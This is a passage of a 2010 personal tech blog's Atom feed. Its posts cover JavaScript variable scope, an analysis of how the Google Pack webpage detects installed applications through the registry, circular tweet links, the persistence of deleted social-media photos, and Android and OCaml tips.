style="color:#006400"&gt;//A call to funA here that has the variable i not explicitly defined with var&lt;/span&gt;&lt;/li&gt; &lt;li&gt;                funA();&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;                console.log(arrB[i] + &lt;span style="color:#800000"&gt;&amp;#39;  &amp;#39;&lt;/span&gt; + i);&lt;/li&gt; &lt;li&gt;            }&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;            console.log(&lt;span style="color:#800000"&gt;&amp;#39;end of funB&amp;#39;&lt;/span&gt;);&lt;/li&gt; &lt;li&gt;}&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;nbsp;&lt;/li&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;function&lt;/span&gt; execute(){&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    &lt;span style="color:#0000ff"&gt;var&lt;/span&gt; array = [&lt;span style="color:#800000"&gt;&amp;#39;t&amp;#39;&lt;/span&gt;, &lt;span style="color:#800000"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;, &lt;span style="color:#800000"&gt;&amp;#39;t&amp;#39;&lt;/span&gt;, &lt;span style="color:#800000"&gt;&amp;#39;i&amp;#39;&lt;/span&gt;];&lt;/li&gt; &lt;li&gt;    funB(array);&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;}&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;&lt;br&gt; &lt;p&gt;Can you tell what will be the output in the console after a call to the execute function?&lt;/p&gt; &lt;p&gt;My first guess was that every function has a local variable i and everything will work as it is expected, but it turns out that when not defining explicitly the variable i with the &lt;strong&gt;var&lt;/strong&gt; keyword, it will be considered as a global variable, and hence &lt;strong&gt;funA&lt;/strong&gt; and &lt;strong&gt;funB&lt;/strong&gt; will use the same variable, hence, &lt;strong&gt;funB&lt;/strong&gt; will iterate one time, incrementing &lt;strong&gt;i&lt;/strong&gt;&amp;nbsp; to 1 then &lt;strong&gt;funA&lt;/strong&gt; will increment it to 3, and thus, the for loop will end immediately with the output in the log screen :&lt;/p&gt; &lt;blockquote&gt;&lt;em&gt;i 3 &lt;br&gt;end of funB&lt;/em&gt;&lt;/blockquote&gt; &lt;p&gt;As you can see in the debugger, the variable &lt;strong&gt;i&lt;/strong&gt; is defined in the same scope as &lt;strong&gt;funA&lt;/strong&gt; and &lt;strong&gt;funB&lt;/strong&gt;, so you have to be careful with this, because it might be the source of a lot of trouble.  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_MIqc395dv38/TFdSSIZ-R-I/AAAAAAAACbs/8QseSBkoFA4/s1600-h/javascript-debug%5B3%5D.png"&gt;&lt;img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" class="wlDisabledImage" title="javascript-debug" border="0" alt="javascript-debug" src="http://lh5.ggpht.com/_MIqc395dv38/TFdSSyqOpUI/AAAAAAAACbw/RCMVoCX5mfU/javascript-debug_thumb%5B1%5D.png?imgmax=800" width="176" height="435"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-4755213407086339072?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/4755213407086339072/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/08/javascript-and-variable-scope-captchas.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4755213407086339072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4755213407086339072'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/08/javascript-and-variable-scope-captchas.html' title='Javascript and Variable Scope CAPTCHAs'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_MIqc395dv38/TFdSSyqOpUI/AAAAAAAACbw/RCMVoCX5mfU/s72-c/javascript-debug_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-8370205789242353504</id><published>2010-08-01T15:15:00.001+02:00</published><updated>2010-08-02T01:51:52.302+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>How Does Google Pack Know What Application is Installed On Your Computer</title><content type='html'>&lt;p&gt;Google pack is a set of software made available free by Google including programs by Google like Chrome and Picasa or other vendors like Mozilla Firefox and Adobe Reader. What is strange about the Google pack is its webpage, where it shows the applications you have installed on your computer and the applications that are not installed already.&lt;/p&gt; &lt;p&gt;The question that pops first is, how does a webpage knows what software is installed on my computer? I decided to see how does it work, inspecting Google’s &lt;em&gt;&lt;strike&gt;coming-from-hell&lt;/strike&gt;&lt;/em&gt; javascript files and trying to figure out how things are put together. To be honest, my motivation was first to know if I can use Google’s technique to leverage any information about other installed software on a victim’s computer or not, and the answer I simply: no you cant, don’t bother.&lt;/p&gt; &lt;p&gt;Google’s pack webpage &lt;a title="http://pack.google.com/" href="http://pack.google.com/"&gt;http://pack.google.com/&lt;/a&gt; links to a javascript file and have some application parameters initialized at the page loading, with a notable array of &lt;a href="http://en.wikipedia.org/wiki/Globally_unique_identifier" target="_blank"&gt;guid&lt;/a&gt; ‘s and application names:&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:6255ae1f-8be5-4dbf-9f23-6b849b1d9a4d" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 300px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px;"&gt; &lt;li&gt;{&amp;#39;93613D9F-C440-475B-8379-E7B7E37DAAB7&amp;#39;:&amp;#39;ci_ar&amp;#39;,&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#39;71339EA2-A88C-11DE-8E3D-65F655D89593&amp;#39;:&amp;#39;ci_avast&amp;#39;,&lt;/li&gt; &lt;li&gt;&amp;#39;8A69D345-D564-463C-AFF1-A69D9E530F96&amp;#39;:&amp;#39;ci_chrome&amp;#39;,&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#39;74AF07D8-FB8F-4D51-8AC7-927721D56EBB&amp;#39;:&amp;#39;ci_earth&amp;#39;,&lt;/li&gt; &lt;li&gt;…}&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p align="left"&gt;It turns out that Google stores information of the applications in the Windows registry (not exactly the same technique on other systems) at the path &lt;strong&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Google\Google Updater\AppData\&lt;/strong&gt;. My research was manly about how does the Javascript code figure out how to fetch these information from the registry and if it is possible to make it read information from other locations in the registry.&lt;/p&gt; &lt;p&gt;Using burp proxy to intercept and change the applications guid on the fly in the html page, I didn’t come to any result, and it turns out that the only information that is read from the registry was only from&amp;nbsp; inside &lt;em&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Google\Google Updater\AppData\&lt;/em&gt;.&lt;/p&gt; &lt;p&gt;So the only trick left was to analyze the javascript file &lt;a title="http://pack.google.com/cominst.js?2" href="http://pack.google.com/cominst.js?2"&gt;http://pack.google.com/cominst.js?2&lt;/a&gt; (go ahead, take a look), if you want to try the code yourself, you can use the console in firebug under firefox or the Developer Tools (Ctrl + Shit + I) under Google chrome.&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/TFVzxLL2iHI/AAAAAAAACbc/44Lj6uByzcI/s1600-h/firebug%5B6%5D.png"&gt;&lt;img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" class="wlDisabledImage" title="firebug" border="0" alt="firebug" src="http://lh5.ggpht.com/_MIqc395dv38/TFVzx6f4JFI/AAAAAAAACbg/8VKv6rpShUo/firebug_thumb%5B4%5D.png?imgmax=800" width="527" height="158"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;The javascript code defines some objects used to manipulate all the operations from reading the list of applications available, to fetching the applications already installed etc…&lt;/p&gt; &lt;p&gt;First a script on the page creates a &lt;strong&gt;_CI_Pack&lt;/strong&gt; object named &lt;strong&gt;pack&lt;/strong&gt;, this pack object have a property named &lt;strong&gt;plugin&lt;/strong&gt; that contains a &lt;strong&gt;Plugin&lt;/strong&gt; object which is the main piece of code we are looking for. This &lt;strong&gt;plugin&lt;/strong&gt; is an embed object installed on the page with the function &lt;strong&gt;Plugin.createCIObject&lt;/strong&gt; that inserts the following code on the page :&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:cf818765-e164-4e18-bb0a-1b7ef11dd44a" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 300px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px;"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;embed&lt;/span&gt; &lt;span style="color:#ff0000"&gt;id&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;CIPlugin_14&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;type&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;application/x-vnd.google.cominstctrl.14&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;width&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;height&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;0&amp;quot;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;This plugin then exposes an attribute called &lt;strong&gt;ciobj&lt;/strong&gt; which is the one reading information from the registry.&lt;/p&gt; &lt;p&gt;In fact this plugin preloads all the information from the registry found in HKEY_LOCAL_MACHINE\SOFTWARE\Google\Google Updater\AppData\ in advance, and the &lt;strong&gt;guid&lt;/strong&gt;s that are presented in the pack object have no effect on these information, that’s why we can’t inject or make the plugin read other keys outside this path.&lt;/p&gt; &lt;p&gt;You can read the guid of the applications loaded by the pluing using this code :&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:a0d49bf9-0189-4bef-8bfb-cf707f376599" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 300px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px;"&gt; &lt;li&gt;var b = pack.plugin;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;var e = b.ciobj;&lt;/li&gt; &lt;li&gt;alert(e.Applications.Length);&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;for (i = 0;i&lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;e.Applications.Length&lt;/span&gt;; &lt;span style="color:#ff0000"&gt;i&lt;/span&gt;++)&lt;/li&gt; &lt;li&gt;    &lt;span style="color:#ff0000"&gt;alert&lt;/span&gt;(&lt;span style="color:#ff0000"&gt;e.Applications.ElementAt&lt;/span&gt;(&lt;span style="color:#ff0000"&gt;i&lt;/span&gt;).&lt;span style="color:#ff0000"&gt;Id&lt;/span&gt;);&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;h2&gt;How the plugin discover the installed applications :&lt;/h2&gt; &lt;p&gt;The plugin object uses a simple method to know if the application is installed or not, installed applications have a version number associated with their corresponding object, if the application is not installed, the version number have the value of null, Google checks if the version number is not null, and hence figures out if the application id already installed or not.&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:f61682fe-2827-43cd-a2a7-530e282c2a41" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 300px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px;"&gt; &lt;li&gt;function d(m) {&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    if (!m) return false;&lt;/li&gt; &lt;li&gt;    var o = c[m.Id.toUpperCase()];&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    if (!o) return false;&lt;/li&gt; &lt;li&gt;    if (b.ci_mimeNum &amp;gt;= 14) { //Here the script check for the installed application&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;        m = m.Version;&lt;/li&gt; &lt;li&gt;        if (!m) return false&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    }&lt;/li&gt; &lt;li&gt;    return i[o] = true&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;}&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;Note that every object in pack.plugin.ciobj.Applications have the two properties exposed for javascript which are Id and Version. The script is really complicated due to the shortening in the variable names, and this function is the one responsible for returning the installed apps &lt;em&gt;function getInstalledList(b, c).&lt;/em&gt;&lt;/p&gt; &lt;p&gt;And that’s it, maybe when someone else wonders someday how Google Pack fetch the information of installed applications on the visitor’s computer, he won’t hopefully waste 3 or such days trying to figure out how that javascript file works.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-8370205789242353504?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/8370205789242353504/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/08/how-does-google-pack-know-what.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/8370205789242353504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/8370205789242353504'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/08/how-does-google-pack-know-what.html' title='How Does Google Pack Know What Application is Installed On Your Computer'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_MIqc395dv38/TFVzx6f4JFI/AAAAAAAACbg/8VKv6rpShUo/s72-c/firebug_thumb%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-2853094243420134499</id><published>2010-07-25T15:25:00.001+02:00</published><updated>2010-07-25T15:28:49.809+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><title type='text'>Circular Links in You Twitter/Facebook updates</title><content type='html'>&lt;p&gt;Say you want to insert a link for your tweet inside that same tweet, or want to link a facebook update inside the update itself. The issue with this is that: first you can’t know what will be the link to your new tweet/update, and second, once you post something on these sites you can’t change it (unlike Google Buzz for example).&lt;/p&gt; &lt;p&gt;I am used to celebrate my tweets which rank is of the form &lt;em&gt;xxxx&lt;/em&gt; where&lt;em&gt; 0&amp;lt;x&amp;lt;10&lt;/em&gt; (I expect some technical knowledge for my reader :p), for example my 1111th and 6666th tweet, and usually the form of the tweet was :&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&lt;em&gt;wohoo, my xxxxth tweet [and a link to this same tweet here]&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;The idea was to use a link shortening service and do the following, we can use bit.ly&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Check if the url &lt;strong&gt;&lt;em&gt;http://bit.ly/WHAT_EVER_YOU_WANT_HERE&lt;/em&gt;&lt;/strong&gt; is not already taken, by typing it into the browser and checking that a &lt;strong&gt;Page Not Found&lt;/strong&gt; error occurred which means the suffix &lt;em&gt;&lt;strong&gt;WHAT_EVER_YOU_WANT_HERE&lt;/strong&gt;&lt;/em&gt; is available.&lt;/li&gt; &lt;li&gt;post your tweet/update with the above link.&lt;/li&gt; &lt;li&gt;then take the link of the new tweet/update, shorten it with bit.ly and custom the shortened url using the same suffix of the link above.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;And by doing this, you finally have a circular link, targeting the same tweet/update which contains the same link targeting the same… you get the point.&lt;/p&gt; &lt;p&gt;Here is an example of a tweet:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&lt;em&gt;A test tweet with a circular link&lt;/em&gt;&lt;a href="http://bit.ly/WHAT_EVER_YOU_WANT_HERE"&gt;&lt;em&gt;http://bit.ly/WHAT_EVER_YOU_WANT_HERE&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-2853094243420134499?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/2853094243420134499/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/07/circular-links-in-you-twitterfacebook.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/2853094243420134499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/2853094243420134499'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/07/circular-links-in-you-twitterfacebook.html' title='Circular Links in You Twitter/Facebook updates'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-5536109637533140909</id><published>2010-07-16T16:49:00.004+02:00</published><updated>2010-07-17T12:10:49.525+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='technology'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><title type='text'>Pictures on Social Networks are Going to Stay Forever</title><content type='html'>If you have ever uploaded a picture on a social media network like Facebook or photo sharing services like Twitpic and Flickr then wanted to delete them, this might be a big trouble for you.&lt;br /&gt;&lt;br /&gt;I figured out today that deleting a picture from Facebook makes it disappear from their website (the link doesn’t of the picture show up anymore) but not really from their servers, and a small research on the web shows that &lt;a href="http://superuser.com/questions/17977/online-similar-images-search-engine" target="_blank"&gt;this is not new&lt;/a&gt;, it has been showed that pictures deleted from Facebook, MySpace etc are not always deleted right away, and actually their Facebook picture is still online after more than a year now without disappearing from the Facebook servers.&lt;br /&gt;&lt;br /&gt;For testing purposes I tried deleting pictures from &lt;a href="http://sphotos.ak.fbcdn.net/hphotos-ak-snc4/hs201.snc4/38411_1230868271236_1815000315_460462_1829376_n.jpg" target="_blank"&gt;Facebook&lt;/a&gt;, &lt;a href="http://lh6.ggpht.com/_MIqc395dv38/TEBkfjJL0VI/AAAAAAAACV8/yebAMKQOooM/s640/Hacker_Wallpaper_1280x1024_by_Pengo1.jpg" target="_blank"&gt;Picasa&lt;/a&gt; and &lt;a href="http://s3.amazonaws.com/twitpic/photos/full/130665586.png?AWSAccessKeyId=0ZRYP5X5F6FSMBCCSE82&amp;amp;Expires=1279290680&amp;amp;Signature=VWL%2Fay02ue64YfNSRj%2FwPVSjruU%3D" target="_blank"&gt;Twitpic&lt;/a&gt;, only Twitpic has deleted the photo after few minutes, the other two are still here.&lt;br /&gt;&lt;br /&gt;This means that some time in the future we might be able to search for persons by their (deleted) pictures on such website, while services like these are already working pretty well like &lt;a href="http://superuser.com/questions/17977/online-similar-images-search-engine" target="_blank"&gt;idée TinyEye&lt;/a&gt; which indexes pictures using their links, it won’t be strange for facebook to start new privacy settings that allow such services to index even the so called deleted pictures.&lt;br /&gt;&lt;br /&gt;The moral of the hole story is, if you are to upload any picture on the web, make sure to use services that gives you control even over your physical pictures or at least provide temporary links that expires after some period of time like Flickr and Twitpic.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-5536109637533140909?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/5536109637533140909/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/07/pictures-on-social-media-networks-are.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5536109637533140909'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5536109637533140909'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/07/pictures-on-social-media-networks-are.html' title='Pictures on Social Networks are Going to Stay Forever'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-6895447427435558083</id><published>2010-06-15T03:12:00.002+02:00</published><updated>2010-06-16T13:38:52.105+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bloginto'/><title type='text'>Bloginto 1.1 is available</title><content type='html'>After few changes in the “Bloginy Algeria” and “Bloginy Marroc” API, the Bloginto Google Chrome extension was broken and doesn’t show the feeds anymore.&lt;br /&gt;Today I released a new version with some changes, mainly technical changes due to the API change, also added a timeout option for those who have slow internet connections.&lt;br /&gt;The extension is to be broken anytime since Bloginy Marroc is not using the same standard for the feeds as Bloginy Algeria which is pretty stable.&lt;br /&gt;The source code is also updated and available here on Google Code (you are welcome to change it to ameliorate the extension) &lt;a href="https://code.google.com/p/bloginto-chrome/source/browse/#svn/trunk"&gt;https://code.google.com/p/bloginto-chrome/source/browse/#svn/trunk&lt;/a&gt;.&lt;br /&gt;Finally, to update the extension (it should be automatic) you go to extensions then choose update extensions, if you don’t already have it installed, you can install it from here : &lt;a href="https://chrome.google.com/extensions/detail/jppmcmbnmodlmgbfdddmeopgagancoak" title="https://chrome.google.com/extensions/detail/jppmcmbnmodlmgbfdddmeopgagancoak"&gt;https://chrome.google.com/extensions/detail/jppmcmbnmodlmgbfdddmeopgagancoak&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-6895447427435558083?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/6895447427435558083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/06/bloginto-11-is-available.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/6895447427435558083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/6895447427435558083'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/06/bloginto-11-is-available.html' title='Bloginto 1.1 is available'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-3151236483712314581</id><published>2010-05-20T23:39:00.001+02:00</published><updated>2010-05-20T23:42:58.907+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gmail'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>How to be online on Gmail even when you are offline</title><content type='html'>&lt;p&gt;So the other day I was checking my blog and the &lt;em&gt;“chat with martani_net”&lt;/em&gt; on the right side was green, which means I was connected to my Gmail from somewhere! The only issue is that I was totally sure I am not connected from anywhere, so I was freaked out thinking that someone has gained access to my Gmail, so I went quickly to check the &lt;a href="http://mail.google.com/support/bin/answer.py?hl=en&amp;amp;answer=45938" target="_blank"&gt;Gmail last account activity&lt;/a&gt; but the IP addresses didn’t reveal any suspected activities on my account, till I figured out that it was Google Talk on my Android that is doing all this.&lt;/p&gt; &lt;p&gt;The trick is that you log into Google Talk on your Android, then you simply cut off the wifi connection (or disable the 3G if you are using it), and you will be always shown as connected when you are actually offline. I’ve noticed also that once you get your wifi on again, you receive all the instant messages that were sent when you were offline (online and not answering for others :p).&lt;/p&gt; &lt;p&gt;Also, Google Talk on Android goes to a gray/disabled state when logged in but no internet connection is present. Notice that on Android 1.6, if you go offline using the Power Control widget from the desktop, it will log you off before disconnecting from the Internet, so make sure you stop the wifi from the settings section.&lt;/p&gt; &lt;p align="center"&gt;&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/S_WsHr6TWcI/AAAAAAAABQI/ge_pgxH-z54/s1600-h/device1%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="device1" border="0" alt="device1" src="http://lh5.ggpht.com/_MIqc395dv38/S_WsIsuleoI/AAAAAAAABQM/rWhf9bmrIL4/device1_thumb%5B1%5D.png?imgmax=800" width="298" height="436"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-3151236483712314581?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/3151236483712314581/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/05/how-to-be-online-on-gmail-even-when-you.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/3151236483712314581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/3151236483712314581'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/05/how-to-be-online-on-gmail-even-when-you.html' title='How to be online on Gmail even when you are offline'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_MIqc395dv38/S_WsIsuleoI/AAAAAAAABQM/rWhf9bmrIL4/s72-c/device1_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-8197245923793294824</id><published>2010-04-20T01:25:00.001+02:00</published><updated>2010-04-20T01:26:47.500+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ocaml'/><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><title type='text'>OCaml and Unix programming</title><content type='html'>&lt;p&gt;If you are used to the Unix programming with C, then almost the same concepts apply to OCaml using the &lt;a href="http://caml.inria.fr/pub/docs/manual-ocaml/libref/Unix.html" target="_blank"&gt;Unix module&lt;/a&gt;, with slightly different syntax for function calls and arguments.&lt;/p&gt; &lt;p&gt;It is pretty straight forward if you have already done some system programming in C before, to compile you should add &lt;strong&gt;unix.cma&lt;/strong&gt; to the arguments of ocamlc.&lt;/p&gt; 